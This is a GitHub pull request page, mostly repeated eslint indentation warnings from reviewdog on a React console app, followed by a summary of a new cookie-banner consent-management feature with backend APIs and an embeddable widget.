🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 10 spaces but found 8 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 8 spaces but found 6 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 6 spaces but found 4 @stylistic/indent
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Strings must use doublequote @stylistic/quotes
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Error: Cannot access refs during render
The usePaginationFragment hook should be used with an explicit generated Typescript type, e.g.: usePaginationFragment(...) relay/generated-typescript-types
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶
... must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
v must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{record.bannerVersion} must be placed on a new line @stylistic/jsx-one-expression-per-line
This queries for the field gpcCount but this file does not seem to use it directly. If a different file needs this information that file should export a fragment and colocate the query for the data with the usage.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
'=' should be placed at the beginning of the line @stylistic/operator-linebreak
🚫 [eslint (apps/console)] reported by reviewdog 🐶
{rate} must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
% must be placed on a new line @stylistic/jsx-one-expression-per-line
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Unexpected parentheses around single function argument having a body with no curly braces @stylistic/arrow-parens
🚫 [eslint (apps/console)] reported by reviewdog 🐶./routes/cookieBannerRoutes import should occur before import of ./routes/dataRoutes import-x/order
probo/apps/console/src/routes.tsx
Line 50 in b0f6690
|
|
||
| <div className="space-y-4"> | ||
| <div className="flex items-center justify-between"> | ||
| <h2 className="text-base font-medium">{__("Theme")}</h2> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
| <div className="space-y-4"> | ||
| <div className="flex items-center justify-between"> | ||
| <h2 className="text-base font-medium">{__("Theme")}</h2> | ||
| <div className="flex gap-2"> |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 12 spaces but found 10 @stylistic/indent
| <div className="flex items-center justify-between"> | ||
| <h2 className="text-base font-medium">{__("Theme")}</h2> | ||
| <div className="flex gap-2"> | ||
| <button |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 14 spaces but found 12 @stylistic/indent
| <h2 className="text-base font-medium">{__("Theme")}</h2> | ||
| <div className="flex gap-2"> | ||
| <button | ||
| type="button" |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
| <div className="flex gap-2"> | ||
| <button | ||
| type="button" | ||
| onClick={() => applyPreset(lightPreset)} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
| <Controller | ||
| name="primaryColor" | ||
| control={control} | ||
| render={({ field }) => ( |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 16 spaces but found 14 @stylistic/indent
| name="primaryColor" | ||
| control={control} | ||
| render={({ field }) => ( | ||
| <ColorField |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 18 spaces but found 16 @stylistic/indent
| control={control} | ||
| render={({ field }) => ( | ||
| <ColorField | ||
| label={__("Primary Color")} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
| render={({ field }) => ( | ||
| <ColorField | ||
| label={__("Primary Color")} | ||
| value={field.value} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
| <ColorField | ||
| label={__("Primary Color")} | ||
| value={field.value} | ||
| onChange={field.onChange} |
There was a problem hiding this comment.
🚫 [eslint (apps/console)] reported by reviewdog 🐶
Expected indentation of 20 spaces but found 18 @stylistic/indent
Summary
@probo/cookie-bannerwidget package (headless consent manager + styled renderer)Test plan
make testto verify unit tests passmake test-e2eto verify cookie banner e2e testsnpm --workspace @probo/console run checkto verify TypeScript typesSummary by cubic
Adds full cookie banner management across backend, GraphQL/MCP/REST APIs, console, CLI, and an embeddable widget. Enforces consent (cookie write blocking, dynamic elements, Google Consent Mode v2, GPC) and adds contextual placeholders with “Allow and show content” plus a revisit icon to change preferences.
New Features
ETagand CORS; permissions/policies; base‑URL aware embed snippet; server‑side theme validation; MCP and Console connected to the consent service.@probo/cookie-bannerin previews.@probo/cookie-banner(headless consent manager + styled renderer) withdocument.cookieinterception, MutationObserver, Google Consent Mode v2, GPC detection, opt‑in/opt‑out modes, localStorage retry queue, contextual placeholders that can grant consent and load content inline, and a revisit icon.Migration
@probo/cookie-banner).Written for commit b0f6690. Summary will update on new commits.